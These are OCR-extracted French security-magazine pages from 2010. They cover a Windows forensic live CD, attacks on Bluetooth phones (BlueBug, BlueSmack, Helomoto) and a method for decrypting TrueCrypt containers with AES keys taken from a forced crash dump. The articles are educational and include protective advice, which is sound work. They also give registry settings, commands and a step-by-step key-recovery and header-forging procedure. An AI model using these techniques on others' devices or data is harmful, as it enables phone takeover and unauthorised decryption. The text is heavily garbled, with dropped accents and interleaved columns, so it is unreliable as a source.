pour ouvrir les deux fichiers image et les comparer octet par octet. J'ai not trois changements. Le premier est spcifique au secteur d'amorage principal (MBR) et la table de partition du disque (entre les adresses 0x0400 et 0xA310). Une modification assez importante (plusieurs kilo-octets) s'est produite dans une zone non alloue. Une analyse plus pousse d'identifier la source de ces modifications. Dans le cas prsent il s'agit du rpertoire de mtadonnes $RmMetadata dans $Extend. Deux nouveaux sous-rpertoires $Txf et $TxfLog ont t crs dans deux nouveaux fichiers de mtadonnes $Repair et $Repair:$Config. Ces fichiers sont prsents uniquement dans la version NTFS utilise par Windows Vista (et ultrieure), appel NTFS transactionnel. Ces fichiers ont sans doute t ajouts par Windows FE aprs montage du lecteur et la configuration en mode lecture/criture. Selon mes tests. Windows FE ne modifiera jamais les disques durs automatiquement quel que soit le systme de fichiers avec lequel ils sont formats. Les modifications apportes aux disques durs sont possibles uniquement si chaque disque dispose d'un secteur d'amorage principal (MBR) compatible Windows, d'une table de partition (FAT ou NTFS) et si le montage est manuel en mode lecture/criture l'aide de diskpart . Au cours de mes tests je n'ai pu reproduire le systme d'criture automatique

propre Windows FE comme mentionn par Troy Larson et d'autres experts. Je n'ai report aucune modification du disque NTFS, disque vierge ou celui format ext2. Le montage de lecteurs ne disposant pas de Windows tait impossible avec diskpart , c'est pourquoi aucune opration d'criture n'a pu tre effectue sur les disques. Au regard de ces tests, il est difficile de dire dans quelles circonstances Larson, DC1743 et d'autres intervenants ont pu faire leurs observations. Quoi qu'il en soit le point fondamental est que Windows FE/diskpart ne provoque aucune perte ou modification de donnes sur les disques. Il suffit d'utiliser diskpart pour monter le lecteur cible. Tous les outils pour gnrer des images peuvent fonctionner avec les lecteurs physiques. En comparant les checksums des fichiers de sauvegarde nous avons pu vrifier le fonctionnement des logiciels de cration d'images ! Nous avons donc russi crer un environnement Windows propre l'investigation informatique et nous avons vrifi que l'ensemble tait fonctionnel. Dans tout les cas, l'utilisateur doit toujours mener ses propres valuations lors de la cration de son CD, tester et documenter son environnement de travail. Imaginez ne serait-ce qu'une faute de frappe, des facteurs susceptibles de gnrer un CD qui ne fonctionne pas comme prvu ! J'ai dj indiqu qu'il y avait quelques diffrences mineures entre les diverses rvisions du kit d'installation automatis (AIK). L'utilisateur reste donc le seul matre bord ! En outre, les essais sont galement utiles pour se former l'utilisation du CD et pour mettre au point une routine. Pour finir, il est bon de noter que ce Live CD n'est pas LA solution. Sur ce terrain l, il est difficile de concurrencer Linux. Nanmoins, je pense qu'il mrite le dtour, pour certains cas spcifiques. Marc Remmert

Figure 15. Les valeurs de hash du disque NTFS aprs montage avec diskpart
58 HAKIN9 1/2010

L'auteur est un examinateur certifi dans l'investigation informatique lgale. Il s'intresse au domaine de la scurit informatique ainsi qu'aux systmes d'exploitation Linux/UNIX. Marc Remmert a commenc utiliser des ordinateurs la fin des annes 80. Il passe la plus grande partie de son temps libre avec sa famille. Toutefois, lorsqu'il a un moment, il aime passer en revue sa collection d'anciens ordinateurs. Vous pouvez le contacter : m.remmert@arcor.de.

WINDOWS FE

1/2010 HAKIN9

59

Degr de difficult

PRATIQUE La scurit des rseaux bluetooth


RGIS SENET

Bluetooth est une spcification de l'industrie des tlcommunications. Elle utilise une technologie radio courte distance destine simplifier les connexions entre les appareils lectroniques. Elle a t conue dans le but de remplacer les cbles entre les ordinateurs et les imprimantes, les scanners, les claviers, les souris, les manettes de jeu vido, les tlphones portables, les PDA, les systmes et kits mains libres, les autoradios, les appareils photo numriques, les lecteurs de codebarres, les bornes publicitaires interactives. (Cf Wikipdia).

CET ARTICLE EXPLIQUE...


Les notions de bases sur les rseaux bluetooth. Les attaques possibles via les rseaux bluetooth. Comment se protger de ces attaques.

CE QU'IL FAUT SAVOIR...


Connaissance en systme dexploitation UNIX/Linux. 60 HAKIN9 1/2010

es rseaux sans fil wireless (Wi-Fi) ont dj t mis mal de nombreuses fois. Linscurit li la protection du protocole WEP nest plus dmontrer, de nombreux outils permettent de mettre mal cet algorithme en quelques secondes ont vu le jour sur Internet. Le WPA ainsi que le WPA2 souffrent galement de problmes de scurit. Pour ne pas faillir la rgle, les rseaux Bluetooth subissent galement des attaques permettant de dvoiler lensemble des informations dun tlphone, changer les sonneries, teindre ou redmarrer le tlphone. De plus, pour en terminer avec cette introduction et pour rellement passer au vifs du sujet, il est possible de passer des appels sans que le propritaire du tlphone ne sen rende compte. Avec le temps et la dmocratisation du Bluetooth, une vritable communaut de pirates informatique la dent bleu sest intresse cette technologie relativement nouvelle et donc encore pleine de surprises. Cette dmocratisation a galement amen la cration de nombreux outils permettant de faciliter lensemble des actions comme la dtection des priphriques, la recherche de failles ou bien encore la prise de possession du priphrique.

Des outils trs efficaces et trs simples mettre en uvre sont par exemple disponible sur la distribution BackTrack 4 restant la distribution phare dans le domaine de la scurit. De nombreux outils sont galement disponibles dans la BackTrack FRHACK Edition ainsi que OSWA-Assistant. Cette dernire tant une distribution spcialise dans les rseaux sans fils.

Le Bluetooth un peu plus en dtail

Au maximum, un priphrique Bluetooth matre peut communiquer avec 7 autres priphriques esclaves. Le rseau ainsi cre s'appelle un Piconet. Il existe galement un Scatternet qui consiste quand lui en une interconnexion de rseaux de type Piconet, grce des priphriques jouant le rle de "routeurs". Le nombre de Piconet est limit 10 dans un Scatternet. Un quipement Bluetooth aussi appel un priphrique est dcompos en plusieurs caractristiques propres lui-mme : Son adresse BT plus connue sous le nom de BD_ADDR similaire une adresse MAC : les 3

BLUTETOOTH
premiers octets sont ceux dfinis par le constructeur, suivis de 3 octets propres l'quipement. Sa classe. Celle-ci est propre au type de priphrique dont il sagit. Il peut sagir dune oreillette Bluetooth, tlphone mobile, clavier etc. Un niveau de scurit Bluetooth Il existe en tout et pour tout 3 types de scurit pour le Bluetooth : Mode 1 : Pas de mcanisme de scurit. Mode 2 : Scurit assure au niveau applicatif. Mode 3 : Scurit assure au niveau liaison de donnes.

Figure 1. Interconnexion entre les diffrentes couches Bluetooth permettant de multiplexer des protocoles de couches suprieures et de grer les contraintes telles que la fragmentation des paquets et le r-assemblement. Il fonctionne via des canaux appels PSM (Protocol/Service Multiplexer) qui se chargent de rediriger les requtes vers les protocoles des couches suprieures. ou encore de simples fichiers. Il est donc possible d'envoyer ou de recevoir des donnes depuis un terminal Bluetooth. Le port utilis est en gnral indiqu dans l'enregistrement du serveur SDP : Service Name: OBEX Object Push
Service RecHandle: 0x10000 Service Class ID List: "OBEX Object Push" (0x1105) Protocol Descriptor List: "L2CAP" (0x0100) Channel: 5 (...) "RFCOMM" (0x0003) "OBEX" (0x0008)

Le protocole Bluetooth peut se dcomposer en sous-couches lies les unes aux autres : les attaques distantes peuvent donc s'oprer diffrents niveaux.

Le Bluetooth, une histoire de couche

L'abstraction matrielle est assure par HCI (Host Controller Interface). Il s'agit de l'interface entre le systme dexploitation et le firmware Bluetooth. Celui-ci gre diffrentes oprations basiques, dont la dcouverte des quipements distants. Il est possible dutiliser lutilitaire hcidump pour cela :
nocrash:~# hcidump

HCI

SDP

SDP (Service Discovery Protocol) permet de lister les services disponibles sur un priphrique, ainsi que diffrentes informations relatives : PSM/Ports RFCOMM, description des services, encodage, etc. Il s'agit uniquement d'informations : il est tout fait possible d'utiliser un service sans que celui-ci soit pour autant repertori par le serveur SDP distant.

HCI sniffer - Bluetooth

RFCOMM

device: hci0 snap_len: 1028 filter: < HCI Command: Inquiry (0x01|0x0001) > HCI Event: Command Status (0x0f) > HCI Event: Inquiry Result (0x02) > HCI Event: Inquiry Result (0x02) > HCI Event: Inquiry Complete (0x01) plen 1 plen 15 plen 15 plen 4 plen 5 0xffffffff

packet analyzer ver 1.28

Le protocole RFCOMM permet d'effectuer des communications de type RS232 (srie) sur L2CAP en Bluetooth. Les oreillettes Bluetooth peuvent galement utiliser RFCOMM via un service Handfree Audio Gateway par exemple. De nombreux quipements communiquent via RFCOMM : selon l'implmentation de la pile Bluetooth, et le port RFCOMM, une authentification de type pairing peut tre requise.

De nombreuses commandes permettant dinteragir avec le protocole bluetooth et cela de manire tout fait lgal. Nous verrons dans un chapitre suivant que certaines de ces commandes ont t dtournes des fins malicieuses.

Les commandes permettant dinteragir avec le protocole bluetooth

Hcitool

OBEX

L2CAP

L2CAP est l'quivalent d'un protocole d'accs au mdia, propre au Bluetooth,

OBEX (OBject EXchange) est un protocole d'change d'objets, comme son nom l'indique, tels que des entres de calendriers, de carnets d'adresses,

La recherche de priphriques s'effectue via une commande de type inquiry. Les priphriques contacts doivent tre joignables et dtectables (mode discoverable). Il est galement possible, d'identifier par bruteforce ceux qui sont en mode cach mais cette technique peut se rvler assez longue :
nocrash:~# hcitool inq Inquiring ...

1/2010 HAKIN9

61

PRATIQUE
00:15:A0:XX:XX:XX clock offset: 00:03:C9:YY:YY:YY clock offset: 0x7e8d class: 0x520310 0x4b4e class: 0x50020c

Dans cet exemple, la commande hcitool inq a dtect deux priphriques distincts. Il sagit dun tlphone Nokia N70 ainsi que dune LiveBox Wanadoo reconnaissable grce leur adresse BT comme nous avons pu le voir prcdemment.

l2ping

l2ping permet d'envoyer un priphrique des paquets de niveau L2CAP de type ECHO REQUEST, la manire d'un ping classique ICMP. La taille des paquets, leur nombre, ainsi que l'adresse Bluetooth source peuvent tre spcifis. Certaines implmentations des piles ne rpondent volontairement pas ces requtes. C'est le cas de nombreuses oreillettes Bluetooth par exemple. Pour une utilisation un peu plus malicieuse, cette commande servira confirmer la prsence dun priphrique Bluetooth ntant pas en mode dcouverte. Mme lorsque les priphriques ne sont pas en mode dcouvertes, ils rpondent obligatoirement une requte ping.
nocrash:~#l2ping -c 3 00:15:A0:XX: Ping: 00:15:A0:XX:XX:XX from 00:20: 0 bytes from 00:15:A0:XX:XX:XX 0 bytes from 00:15:A0:XX:XX:XX 0 bytes from 00:15:A0:XX:XX:XX 3 sent, 3 received, 0% loss id 2 time 37.25ms id 1 time 43.94ms id 0 time 64.18ms E0:75:83:DA (data size 44) ... XX:XX

Figure 2. Btscanner en utilisation de lister les services disponibles sur un tlphone mobile, et ils peuvent parfois s'avrer trs nombreux ! La multiplication des services distants les rend videmment d'autant plus vulnrables. (scan de priphrique, exploitation de faille etc.)

Linscurit du Bluetooth, une ralit

rfcomm

rfcomm permet d'tablir une communication de type RFCOMM entre 2 priphriques.

hcidump

sdptool

sdptool permet d'effectuer diffrentes oprations au niveau L2CAP : des requtes directes vers les priphriques distants, mais galement la configuration du serveur sdpd (ajout/suppression de services par exemple) sur la machine locale afin de rpondre aux requtes SDP entrantes. Pour simple exemple, la commande sdptool browse 00:15:A0:XX:XX:XX permet
62 HAKIN9 1/2010

hcidump permet de suivre les envois ainsi que les rceptions des paquets partir du protocole HCI jusqu' des protocoles de plus haut niveau. Il est analogue, bien que beaucoup moins volu, un outil du mme type : tcpdump Cependant, hcidump ne permet pas d'couter le trafic ne concernant pas la machine locale car le trafic est filtr de faon matrielle par le chipset Bluetooth. Une coute passive de trafic est cependant possible en utilisant des chipsets Bluetooth. Une majeure partie de ces simples commandes ont t dtourn des fins malicieuses afin de pouvoir mettre mal la scurit des priphriques Bluetooth. Ces outils pullulent vritablement sur la toile et il serait juste impossible de tous les nommer et encore moins possible dexpliquer lensemble de leur fonctionnalits. Nanmoins, il existe un excellent lien [1] permettant de regrouper un nombre relativement important doutil en tout genre concernant la mise en place dattaque sur les rseaux Bluetooth.

Comme nous lavons dit prcdemment, le protocole Bluetooth et plus prcisment les sous couches quil implmente possdent quelques failles de scurit. Nous allons donc prsenter quelques outils permettant de manipuler les oprations effectues avec le protocole de communication Bluetooth.

Comme nous avons put le dire prcdemment, ce nest pas parce quun priphrique est en mode non dtectable quil nest pas possible de le recenser. Pour cela, nous allons avoir recours une attaque de type bruteforce sur l'adresse Bluetooth. Il existe plusieurs outils permettant de raliser ce type de scan, redfang le permet tout comme btscanner qui pour ma part est lun de mes prfres. Le scan des plages allant de 00:00:00:00: 00:00 FF:FF:FF:FF:FF:FF peut tre un peu long, cest pourquoi loutil btscanner permet de spcifier des plages plus courtes comme par exemple en fonction du constructeur. Il est donc possible de voir grce la figure 2 que plusieurs priphriques Bluetooth ont t identifis proximit de nous. Il est possible de voir leur BT adresse, leur classe ainsi que le nom auquel ils rpondent.

Scan de rseaux

BLUTETOOTH
BlueBug
est une attaque type BlueBug classique comme nous venons de le voir prcdemment.

Le BlueBug est srement la faille pouvant se rvler la plus lourde de consquences pour une victime. Elle consiste se connecter sur un port RFCOMM ne ncessitant aucune authentification et permettant l'accs un set de commandes AT*. Ces commandes permettent un contrle quasi intgral du tlphone, de ses paramtres, de sa configuration, etc. De nombreux scnarii peuvent tre imagins. La simplicit de cette attaque est redoutable face aux consquences qu'elle peut avoir (factures de tlphone, compromission de donnes sensibles, etc.). Il suffit de sniffer rapidement les quipements prsents dans un lieu public pour se rendre compte de son ralisme et de la simplicit de sa mise de en uvre. Il est possible de rcuprer le carnet d'adresses avec les commandes AT : btxml permet d'automatiser ces commandes et propose une sortie XML du carnet d'adresses distant.

Sur Internet
[1] Liste doutil spcifique au Bluetooth : http://hackbbs.org/index.php?nav= art&article=bluetooth Dfinition du bluetooth : http://fr.wikipedia.org/wiki/Bluetooth OSWA-Assistant : http://securitystartshere.org/ page-training-oswa-assistant.htm BackTrack FRHACK Edition : https://www.securinfos.info/frhack/ frhack-os.iso Article sur la scurit des rseaux Bluetooth : http://www.secuobs.com/ news/05022006-bluetooth1.shtml

Blue Smack

BlueSmack est une attaque visant bloquer les priphriques Bluetooth (crash de la pile ou du systme d'exploitation distant) via une requte l2ping anormalement longue ou via de trs nombreuses requtes (flood ping). Cette attaque ne marche pas avec tous les quipements du fait que certains quipements limitent la taille des trames L2CAP reues, rduisant ainsi les risques de congestion au niveau de leurs files d'attente. Il n'existe pas de norme pour le MTU (Max Transmission Unit) des paquets L2CAP. Des trames forges semialatoires peuvent cependant conduire un dni de service.

Se protger

Helomoto

Comme son nom l'indique ironiquement, Helomoto est une attaque visant les tlphones mobiles Motorola. Elle consiste initier l'envoi d'un objet OBEX. Celuici, volontairement interrompu, permet de placer l'attaquant dans la liste des priphriques de confiance. Une fois ajout, l'attaquant peut se connecter en RFCOMM (BlueBug) sur le service RFCOMM Headset de l'appareil sans authentification pralable. La suite

Depuis le dbut de cet article, nous sommes en train de vous montrer un monde vritablement noir ou lensemble des donnes peuvent tre voles assez facilement et ou des pirates informatiques peuvent utiliser votre tlphone votre insu mais rassurez-vous, tout nest pas compltement noir dans ce monde cruel. En effet, comme nous avons pu le dire, les problmes de scurit viennent rgulirement des sous couches. Ces mmes sous couches sont rgulirement mise jour par les diteurs, il est donc possible de se prmunir de nombreuses attaques en mettant jour vos

priphriques bluetooth dans la mesure du possible. Evidemment, lautre mesure afin de se prmunir de ce type dattaque est de tout simplement dsactiver le bluetooth dans les options du tlphone lorsque ce dernier na pas dutilit dtre activ. Cette mesure relativement simple nest souvent pas ralise du fait que les utilisateurs ny pensent tout simplement pas. Cela reste nanmoins une technique rapide et efficace pour ne plus avoir se soucier des hackers la dent bleue.

Conclusion

Au jour ou les rseaux sans fils deviennent vraiment quelque chose dincontournable, leur scurit est sans cesse mise mal par de nombreuses personnes dont les intentions sont plus ou moins louables. Les rseaux bluetooth, comme vous laurez compris nchappent pas aux rgles. Il est donc ncessaire dtre prudent lors de leur utilisation. Comme nous avons pu le voir dans la dernire partie, une simple dsactivation permet dviter bien des problmes, pensez y, cela peut vous viter de vous mordre les doigts par la suite.

Figure 3. Liste doutil spcifique au Bluetooth

actuellement stagiaire pour la socit JA-PSI est tudiant en cinquime anne lcole Suprieur dinformatique SUPINFO. Passionn par les tests dintrusion et les vulnrabilits Web, il tente de dcouvrir la scurit informatique dun point de vue entreprise. Il est actuellement en train de sorienter vers le cursus CEH, LPT et Offensive Security. Contact : regis.senet@supinfo.com Site internet : http://www.regis-senet.fr 1/2010 HAKIN9

Rgis SENET,

63

TECHNIQUE
JRME BISE
A cause de plusieurs mprises dans le procs de production dans notre magazine larticle La RAM: une vulnrabilit avre des disques chiffrs de notre auteur Jrome Bise a t publi avec plusieurs erreurs. Dans cette issue nous publions la version corrige par lauteur. Nous prions lauteur et ses collaborateurs de bien vouloir accepter nos sinceres excuses.

LA RAM :
Degr de difficult

Une vulnrabilit avre des disques chiffrs


Les disques chiffrs de manires logiciel sont-ils inviolables? Le prsent article expose dans un premier temps une vulnrabilit permettant de dchiffrer ces disques, via la rcupration de certaines informations en RAM. Dans un deuxime temps, plusieurs mthodes permettant de contrer cette vulnrabilit seront exposes.
Cependant malgr ces certifications, des FDE restent vulnrables. Cet article propose de dmontrer une vulnrabilit commune plusieurs FDE, qu'ils soient propritaires ou non, certifis ou non. Une rcente tude du CITP (Center for Information Technology Policy) de l'universit de Princeton a dmontr qu'il tait possible de rcuprer des cls de chiffrement en RAM (AES et RSA). Cette attaque porte le nom de "Cold Boot". Le principe est de rcuprer les barrettes de RAM pour en extraire les lments secrets. La faisabilit d'une telle attaque implique notamment: un accs physique la machine, qu'elle soit en cours de fonctionnement, un temps de ralisation court (d la faible persistance des donnes en RAM une fois hors tension et au risque dtre dcouvert).

es manipulations du code source prsent dans cet article ont t ralises sous Ubuntu 8.04. On n'a pas choisi de le faire sous Windows en raison de la lourdeur des logiciels ncessaires la compilation du code source et de leurs cots (requiers: Visual Studio 2008, MVSC C++ 1.52, DDK Windows, etc.). De plus les modifications apportes au code source servent de dmonstration pour l'article, ils ne doivent pas tre reproduit pour une utilisation oprationnelle.

Introduction

CET ARTICLE EXPLIQUE...


Comment rcuprer des cls AES en RAM, Comment les utiliser pour dchiffrer un disque dur, Quelles solutions mettre en place contre cette menace.

CE QU'IL FAUT SAVOIR...


Savoir utiliser Windows et Linux, La programmation en C/C++, Les bases de la cryptographie. 64 HAKIN9 1/2010

Les systmes de chiffrement de disque la vole (FDE, on the Fly Disk Encryption) sont des logiciels permettant d'assurer la confidentialit des donnes. Ces systmes permettent de chiffrer/ dchiffrer les donnes d'un disque dur lorsque l'on y accde. Ils sont compltement transparents pour les utilisateurs (except la saisie dun mot de passe). L'utilisation de FDE est aujourd'hui de plus en plus courante, que ce soit par des entreprises ou des particuliers pour assurer la confidentialit des donnes. Sur le march on trouve bon nombre de FDE (Zone Central de Prim'X, DM-Crpyt, Truecrypt, etc.) disponibles sur plusieurs plates-formes. Mais quel est le niveau de protection garanti par ces FDE? L o certain n'affiche que des rfrences, d'autres sont certifier par la DCSSI, par exemple : Zone Central : EAL 2+, Truecrypt : CSPN.

Cette attaque est donc difficilement ralisable ce qui minimise grandement son impact au niveau oprationnel et donc sa prise en compte par les utilisateurs. Cet article montre grce aux recherches du CITP: la possibilit de mener une telle attaque sans passer obligatoirement par un accs physique, la conduite de cette attaque, de la rcupration des cls au dchiffrement des donnes, les moyens de s'en prmunir.

LA RAM

Cls dentte KE1 KE2


Entte non chiffr + Master Key + Secondary Key + ...

Mot de passe

PBKDF20
Salt

Listing 1. Erreur du BOSD gnr par crash dump


*** STOP: 0x000000E2 (0x00000000, 0x00000000,0x00000000, 0x00000000) The end-user manually generated the crashdump.

AES AES

Listing 2. Cls rcupres en RAM


606433e1479ba65d746e2d2bbd6a1034 3cab8a95f649e42dd7006e780afeb13c dfea3045db773064d3c2299d8ebc10fd 5ab4140a570c256b53dee55623125108 000102030405060708090a0b0c0d0e0f 101112131415161718191a1b1c1d1e1f

Entte TrueCrypt

Figure 1. Synoptique chiffrement AES-XTS d'un entte Truecrypt Le but est de sensibiliser les utilisateurs de FDE des menaces pesant sur la confidentialit de leurs donnes et de la ralit d'une telle attaque. un disque), on est invit saisir son mot de passe. Une fois saisi, le mot de passe est utilis dans une fonction de drivation de clef (PBKDF2). Cette fonction gnre deux cls (nomm HeaderKeys HK) partir d'un mot de passe et d'un sel. HK serviront chiffrer/dchiffrer l'en-tte du conteneur contenant, les clefs de chiffrements des donnes (nommes MasterKey et SecondaryKey : MK, SK ). Le chiffrement utilis dans cet article est AES avec le mode XTS cf. Figure 1. C'est l'utilisation de ce mode particulier qui ncessite la prsence de deux cls. Une fois que MK et SK ont t rcupres, elles se trouvent en RAM tant que le conteneur est en cours d'utilisation. Une fois que le volume est dmont, MK et

Principe

Les manipulations prsentes au cours de cet article ont t ralises avec Truecrypt V6.2. Ce FDE a t certifi CSPN par la DCSII dans sa version 6.0a. Truecrypt permet de faire du chiffrement la vole avec : un disque dur (ou une partition), un conteneur (exemple pris dans cet article), l'ensemble d'un systme d'exploitation.

SK sont effaces dfinitivement de la RAM grce la fonction Burn(). Cette fonction est charge deffacer proprement les donnes en RAM pour empcher de les rcuprer une fois le conteneur dmont. Le principe de lattaque, est de rcuprer lensemble des cls de chiffrement en RAM (en contournant cette fonction burn()) et de retrouver parmi elles MK et SK. Le nombre de combinaison possible est dfinit par la formule dcrite dans la Figure 2. Ce nombre dpend du nombre d'arrangement compos de p cls parmi les n cls rcupres ainsi que du nombre d'algorithmes de chiffrements et de systme de fichier disponibles par le FDE. Pour XTS, MK ne peut pas prendre la place de SK et vice versa c'est pour cela que l'on utilise la formule de l'arrangement au lieu de celle des combinaisons. Si on prend un cas dfavorable (en rcuprant 10 cls en RAM), cela fait 1440

Lorsque l'on souhaite accder des donnes chiffres dans un conteneur (ou
Volume de creation dente Entte de sauvegrade

Ente

Donnes chiffres

Remplacement de lente cible Conteneur cible

Injecton de MK et SK

Entte

Donnes chiffres cible

Entte de sauvegrade

Figure 2. Formule du nombre de cls possibles

Figure 3. Injection de MK et SK et remplacement de l'entte


1/2010 HAKIN9 65

TECHNIQUE
copie totale de la RAM dans le fichier dfini dans la cl DumpFile. La gnration dun crash dump se fait lorsqu'une action non autoris est faite sur lOS (au niveau ring 0), cela produit une erreur non rattrapable. Le systme se stop est affiche un BSOD. Dans notre cas, nous allons raliser cette action, par une combinaison de touche, en modifiant une des cls suivantes en fonction du type de clavier : Clavier PS/2, positionner la valeur : attaques par brute force) et les mthodes permettant de s'en prvenir. Il est galement important de savoir que le problme expos dans cet article, est en dehors du primtre de l'valuation CSPN de Truecrypt. De plus, Truecrypt reste un excellent logiciel de chiffrement de disque, dont les concepteur prennent trs cur les aspects SSI et il n'est pas le seul sensible cette attaque. HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\i8042prt\ Parameters\CrashOnCtrlScroll 1 (REG_DWORD)

Figure 4. Activation du crash dump combinaisons possibles (avec 2 systmes de fichiers et 8 algorithmes). C'est--dire que mme dans un cas pessimiste on est loin des 2 5121,3.10 154 possibilits (en brute force, 512 bits de cls trouver). Car mme en passant 1ns par cls il faudrait plus dune vie pour tester toutes les combinaisons en brute force. Pour identifier le bon couple de cls parmi les n rcupres, il faut dchiffrer les premiers octets du conteneur afin de dterminer si les donnes rcupres correspondent au dbut dun systme de fichiers. Lorsque cela est fait, on sait que l'on a identifi MK et SK. Une fois que l'on a trouv le bon couple de cl, on va gnrer un faux en-tte Truecrypt dont on connat le mot de passe et qui contiendra MK et SK. On sen servira ensuite pour remplacer celui du conteneur dchiffrer. Une fois que lon saisira notre mot de passe, Truecrypt dchiffrera notre en-tte et prendra le couple (MK ; SK) que nous lui avons donn pour dchiffrer les donnes du conteneur cible (cf. Figure 3). On aura donc dchiffr les donnes sans le mot de passe de l'utilisateur. NB : Cet article ne prsente pas de moyen pour rcuprer les cls en RAM et le conteneur cible distance. Car il existe suffisamment de vulnrabilit pour rcuprer un fichier distance et d'excuter un code malveillant charg de rcuprer des donnes en RAM. La plus value de cet article repose sur le dchiffrement du conteneur cible (qui reste largement suprieur aux

Clavier USB : HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\kbdhid\ Parameters\CrashOnCtrlScroll 1 (REG_DWORD)

La vulnrabilit

Le systme cible est quip de Windows XP et du FDE Truecrypt. Le conteneur cible utilise lalgorithme de chiffrement et le systme de fichier propos par dfaut (AES-XTS et FAT16). On part de lhypothse que l'utilisateur a mont son conteneur.

La combinaison : CTRL droit + SCROLL LOCK + SCROLL LOCK fera apparatre un cran bleu avec le message du Listing 1 et crera la copie de la RAM.

Dump mmoire
La premire tape consiste rcuprer le contenu de la RAM. Pour cela, une mthode simple consiste gnrer un crash dump qui va copier tout le contenu de la RAM dans un fichier. Il faut savoir que les pages de la RAM contenant les cls ne sont pas accessibles par les comptes ayant des droits par dfaut. Lavantage du crash dump, cest le systme qui lexcute. Il peut donc y accder. Cette opration ncessite de modifier quelques paramtres du registre (cf. Figure 4). Dans la cl : HKEY_LOCAL_MACHINE\ System\CurrentControlSet\Control\ CrashControl, Il faut positionner les valeurs CarshDumpEnabled 1. Cela cre une

Extraction et identification du couple (MK;SK)


Comme notre utilisateur avait son conteneur mont lors du crash dump, les cls sont a prsent dans le fichier de dump : MEMORY.DMP. Pour les rcuprer, nous allons utiliser le programme du CITP nomm 'aeskeyfinder' (disponible sous Linux). Ce programme permet de trouver dans un fichier, des lments tant potentiellement des cls de chiffrement AES. Pour cela, il effectue sur chaque bloc de 128 et 256 bits un calcul afin de mesurer son niveau dentropie. Si le niveau est suffisant, lutilitaire enregistre le bloc en tant que cl potentielle. Le Listing 2 contient lensemble des cls retrouves dans la RAM de notre machine de test, ainsi que la commande utilis pour les extraire du crash dump. Le but maintenant est didentifier le bon couple (MK ;SK). Pour se faire, nous allons dchiffrer une partie du conteneur avec les diffrentes combinaisons de cl (ici 6), afin didentifier le dbut dun systme de fichier. En ralit, si lon met de ct les hypothses

Figure 5. Dbut d'une partition FAT 16


66 HAKIN9 1/2010

LA RAM
ce qui nest pas une mince affaire. Cependant, Truecrypt fournit un banc de test (cf. Figure 6) qui permettra de le dchiffrer rapidement. Le Listing 3 donne la valeur chiffre et claire de lunit 100, bloc 3 du conteneur rcupr. Comme nous avons retrouv la suite magique, nous pouvons en dduire deux choses : Le disque chiffr contenu dans le conteneur est au format FAT 16, Le couple (MK;SK) test sur le banc de test est le bon.

Figure 6. Banc de test Truecrypt


Conteneur cible

Si nous navions pas trouv le bon couple, nous aurions d tester d'autres cls et systme de fichiers jusqu' identification des deux paramtres prcdents. Si lon reprend notre cas dfavorable 6 combinaisons de cls. En prenant tous les systmes de fichiers proposs par Truecrypt (NTFS, FAT, EXT2, EXT3) et les 8 huit algorithmes de chiffrement, on atteint seulement 6x8x4=192 possibilits pour un conteneur rcupr sous Linux et 96 sous Windows, soit largement moins quun attach case avec un code trois chiffres.
Donnes chiffres Entte de sauvegarde

Entte

Gnration d'un en-tte Truecrypt et injection de (MK;SK)


Le cas du dchiffrement du conteneur cible, pose la mme problmatique que celle du dchiffrement du bloc prcdent. Il faut implmenter lalgorithme utilis. Une autre approche plus pragmatique est possible lorsque lon regarde comment fonctionne un volume Truecrypt. Un volume est compos de trois parties (cf. Figure 7). Toutes les informations caractrisant le conteneur et permettant son dchiffrement sont contenues dans len-tte du volume. Cet en-tte est chiffr partir du mot de passe de lutilisateur et dun sel (cf. Figure 1). La ruse consiste faire gnrer par Truecrypt un en-tte dont on connat le mot de passe et qui contiendra le couple (MK;SK) rcupr cf. Figure 3. Cette manipulation ncessite de modifier le code source de Truecrypt. La gnration des cls de chiffrements se fait lors de la cration du volume. Les cls sont gnres par la fonction : RandomNumberGenerator::GetData(),
1/2010 HAKIN9 67

Figure 7. Volume Truecrypt de lattaque on aurait 96 combinaisons car on a 2 systmes de fichiers et 8 algorithmes de chiffrement disponibles sur la version Windows de Truecrypt. Le systme de fichier par dfaut propos et FAT 16. Nous allons donc tenter de retrouver la suite (46 41 54 31 36 = FAT 16 en ASCII) cf. Figure 5. Cet suite commence au 54me octet du systme de fichier. Le mode de chiffrement AESXTS a besoin dun certain nombre de Listing 3. Identification du systme de fichier
Chiffr : 11D30BC44026B92B6D016BE17930 E99A Dchiffr 4d45202020204641543136202020 0000

paramtres pour effectuer une opration de chiffrement ou de dchiffrement (en plus de MK et SK), savoir : Un numro de bloc. Chaque blocs est compos de 16 octets, Un numro dunit, chaque unit est compos de 32 blocs soit 512 octet.

Les 65535 premiers octets dun conteneur sont rservs pour len-tte, les 65535 suivants sont rservs pour len-tte des volumes cachs. Par consquent notre systme de fichiers commence loctet 131072.C'est--dire que s'il sagit dun disque en FAT 16 on retrouvera notre suite de nombre dans lunit 100(16), bloc 3 ((131072+48) :512=256(10)=100(16)). Pour dchiffrer ce bloc il faudrait implmenter lalgorithme de chiffrement AES-XTS,

TECHNIQUE
X X X 1 2 X 3 X X X X X X X 4 X X X 4 1 X 1 X X X 2 X X X 3 X X X X 4 1 X 1 X X X 2 X X X 3 X X X 2 X X X X X X 4 X X 3 X 1 X X

Assemblage cl

Chiffrement Dchiffrement

Morcellement

Figure 8. Principe du morcellement de cl

galement optimiser lattaque de cet article, en faisant lopration de recherche des cls directement dans la partie de la RAM concerne. De cette faon, on naura plus besoin d'utiliser un crash dump, qui ne passe pas inaperue, surtout quand on a 4Go de RAM copier. Il serait possible aussi dautomatiser toute la chane didentification du couple (MK;SK), de lalgorithme de chiffrement, ainsi que du systme de fichier utilis et enfin, la gnration de len-tte truqu. Cette optimisation prendrait peut de temps pour une quipe dingnieurs qualifis, surtout quand on regarde ce que rapporte le vol d'informations confidentielles. Heureusement pour les utilisateurs de ces systmes, on peut mettre en place un ensemble de protection destin diminuer le risque dune telle attaque.

Moyens de protections
